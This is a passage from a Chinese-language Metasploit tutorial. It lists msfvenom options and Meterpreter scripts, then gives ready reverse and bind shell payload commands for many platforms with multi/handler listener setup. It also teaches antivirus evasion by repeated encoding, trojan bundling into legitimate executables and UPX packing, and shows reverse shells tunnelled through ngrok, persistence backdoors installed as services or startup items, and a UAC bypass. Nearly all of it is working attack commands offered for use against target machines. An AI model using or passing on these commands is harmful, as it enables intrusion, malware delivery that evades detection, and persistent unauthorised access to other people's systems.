hostsedit 操作hosts文件
keylogrecorder Meterpreter内置此功能
killav 关闭防护软件
metsvc 将payload安装为服务
migrate 将meterpreter会话移植到另一个进程
persistence可建立一个持久性的后门,设置成开机启动
service_permissions_escalate 许多服务被配置了不安全 的权限。 这个脚本会尝试创建一个服务, 然后会搜索已存在d服务,找到不安全的文件或配置有问题的文件,用一个payload替换掉他,然后会尝试重启服务来运行这个paylaod,如果重启服务失败,则在下次服务器重启时会执行payload
35.vnc 可以看到远程桌面
win32-sshserver 安装openssh服务
winenum会自动运行多种命令,将命令结果保存到本地
6、msfvenom 命令 ( 生成 木马)
metasploit-framework 旗下的 msfpayload(荷载生成器),msfencoder(编码器),msfcli(监听接口)已经被整合成 msfvenom。可以利用 msfvenom 生成木马程序,并且目标机上执行,在本地做监听
6.1msfvenom 命令行选项
在 kali 的命令行中输入msfvenom -h 就会显示其用法:
msfvenom 命令
中文版 :
Options: -p, --payload <payload> 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用'-'或者stdin指定 -l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all -n, --nopsled <length> 为payload预先指定一个NOP滑动长度 -f, --format <format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表) -e, --encoder [encoder] 指定需要使用的encoder(编码器) -a, --arch <architecture> 指定payload的目标架构,这里x86是32位,x64是64位 -platform <platform> 指定payload的目标平台 -s, --space <length> 设定有效攻击荷载的最大长度 -b, --bad-chars <list>设定规避字符集,比如: 'x00xff' -i, --iterations <count>指定payload的编码次数 -c, --add-code <path>指定一个附加的win32 shellcode文件 -x, --template <path>指定一个自定义的可执行文件作为模板 -k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行 --payload-options 列举payload的标准选项 -o, --out <path>保存payload -v, --var-name <name>指定一个自定义的变量,以确定输出格式 --shellest 最小化生成payload -h, --help 查看帮助选项 --help-formats查看msf支持的输出格式列表
6.2生成 payload
生成不经过编码的普通 payload。(不编码 -> 生成内容固定 -> 直接被杀)
命令:msfvenom -p <payload> <payload options> -f <format> -o <path>
示例:msfvenom –p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=12138 –f exe –o shell.exe
经过编码器处理后生成 payload
命令:msfvenom -p <payload> -e <encoder > -i <encoder times> -n <nopsled> -f <format> -o <path>
示例:msfvenom –p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=12138 –i 3 –e x86/shikata_ga_nai –f exe –o shell.exe
捆绑到正常文件后生成 payload
msfvenom –p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=12138 –platform windows –a x86 –x calc.exe –k –f exe –o shell.exe
6.3常用 payload
下面是生成后门木马,只要想方设法放到目标机器上并运行。然后在本地监听端口即可,但是你需要有一个公网的 ip。
命令格式:msfvenom -p <payload> <payload options> -f <format> -o <path>
Linux
# 反向连接
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
# 正向连接
msfvenom -p linux/x86/meterpreter/bind_tcp LHOST=<Target IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
用法:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
示例:/p/114973728
命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.73.129 LPORT=4321 -f exe -o ailx13_love.exe
msf6 >use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) >info
msf6 exploit(multi/handler) >set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) >set LHOST 192.168.73.129
msf6 exploit(multi/handler) >set LPORT 4321
msf6 exploit(multi/handler) >exploit或者执行 run
流程总结:
1. 先生成木马程序2.之后进入msfconsole,使用监听模块use exploit/multi/handler3.设置 payload。set payload windows/meterpreter/reverse_tcp4.设置监听端口和 ip 与之前生成的木马一致5. 开始执行监听,等待木马进行连接。exploit或者执行 run
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
Android
Java
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '
' > shell.php && pbpaste >> shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.wa
Python
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
Bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
生成 dll
6.4 免杀
搜索:msfvenom免杀木马
在线扫描:/
是一个非盈利性的免费为广大网友服务的网站,它通过多种不同厂家提供的最新版本的病毒检测引擎对您上传的可疑文件进行在线扫描,并可以立刻将检测结果显示出来。(生成木马后,可以使用在线扫描,看下效果如何)
多重编码
示例:msfvenom -p windows/meterpreter/reverse_tcp lhost=<Your IP Address> lport=<Your Port to Connect On> -e x86/shikata_ga_nai -i 20 -f raw | msfvenom -e x86/alpha_upper -a x86 --platform windows -i 5 -f raw | msfvenom -e x86/shikata_ga_nai -a x86 --platform windows -i 10 -f raw | msfvenom -e x86/countdown -a x86 --platform windows -i 10 -x calc.exe -f exe -o shell.exe
这里使用管道让 msfvenom 对攻击载荷多重编码,先用 shikata_ga_nai 编码20次,接着来10 次的 alpha_upper 编码,再来10次的 countdown 编码,最后才生成以 calc.exe 为模板的可执行文件。
示例:msfvenom -a x86 --platform -p windows/meterpreter/reverse_tcp lhost=10.250.70.251 lport=5555 -e x86/shikata_ga_nai -i 5 -f raw | msfvenom -e x86/alpha_upper -a x86 --platform windows -i 5 -f raw | msfvenom -e x86/shikata_ga_nai -a x86 --platform windows -i 10 -f raw | msfvenom -e x86/countdown -a x86 --platform windows -i 10 -x -f exe -o /root/b.exe
木马捆绑
(主程序启动之后子程序随之启动)
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=10.250.70.251 lport=5555 -f exe -x Everything.exe -o /root/Everything2.exe
加壳
对生成的木马进行 upx 加壳:upx shell.exe 。不过现在的杀毒软件越来越nb,一般免杀也已经不好过。
parrot 使用 ngrok+msfvenom 穿透反弹 shell
攻击机 parrot ip:192.168.127.131
目标机器 windows ip :192.168.43.27
首先两台机器不在一个网端,自然是无法 ping 通。这里模仿目标机器在公网,攻击机器在内网。攻击机器怎样通过 ngrok 代理来接受弹回来的 shell
1.在ngrok官网注册账号,并开通免费账号
官网地址:
创建成功后:
2.下载 ngrok 客户端
内网转发:/download.html
我这里使用的是 parrot。所以选择 linux 版本,文件解压后得到:sunny
3.启动sunny,开启转发
执行命令:./sunny clientid 隧道id
4.配置木马来反弹shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=14001 -f exe -o ./test.exe
其中LHOST,LPORT均为ngrok代理服务器地址与端口
5.攻击机本地msf监听
use exploit/multi/handleset payload windows/meterpreter/reverse_tcpset lhost 192.168.127.131set lport 9876run
6.目标机器执行木马
7、获取 meterpreter
root @ kali:〜#msfconsole
msf>use exploit/multi /handler
msf exploit(handler)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => window /meterpreter/reverse_tcp
msf exploit(handler)> set LHOST 0.0.0.0
msf exploit(handler)>set LPORT 444
msf exploit(handler)>show options
msf exploit(handler)>run
8、后渗透 ( 也叫:维持访问,持续性后门 )
8.1metsvc 后渗透攻击模块
metsvc 后渗透攻击模块其实就是将 Meterpreter 以系统服务的形式安装到目标主机,它会上传三个文件:
metsvc.dll
metsvc-service.exe
metsvc.exe
run metsvc
执行过程:在目标主机上创建一个监听31337端口的服务->在目标主机c:\windows\temp\下创建一个存放后门服务有关文件程序的目录,并上传metsrv.x86.dll、metsvc-server.exe、metsvc.exe三个文件到该目录下->开启服务
在目标主机上看到 31337 号端口已开,且服务多了一个 meterpreter (如下图)
然后连接后门
use exploit/multi/handler
set payload windows/metsvc_bind_tcp
set RHOST 192.168.1.104
set LPORT 31337
run
8.2persistence 模块后门
run persistence -X -i 5 -p 23333 -r 192.168.1.107
然后退出重新配置监听器:
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.107
set LPORT 2241
exploit
9、meterpreter 绕过 uac (用户帐户控制 )
用户帐户控制(User Account Control,简写作UAC) 是微软公司在其 Windows Vista 及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。
由于绕过 UAC 的功能需在 meterpreter 的shell 才能实现。因此,我们首先要做的就是取得目标机器的 meterpreter shell
use exploit/windows/local/ask
show options
set session 1
exploit
当我们成功执行以上命令后,我们会在目标系统上弹出一个确认框只要点击确认即可成功绕过(由于目标系统没有开启uac,这里只是使用命令作为演示)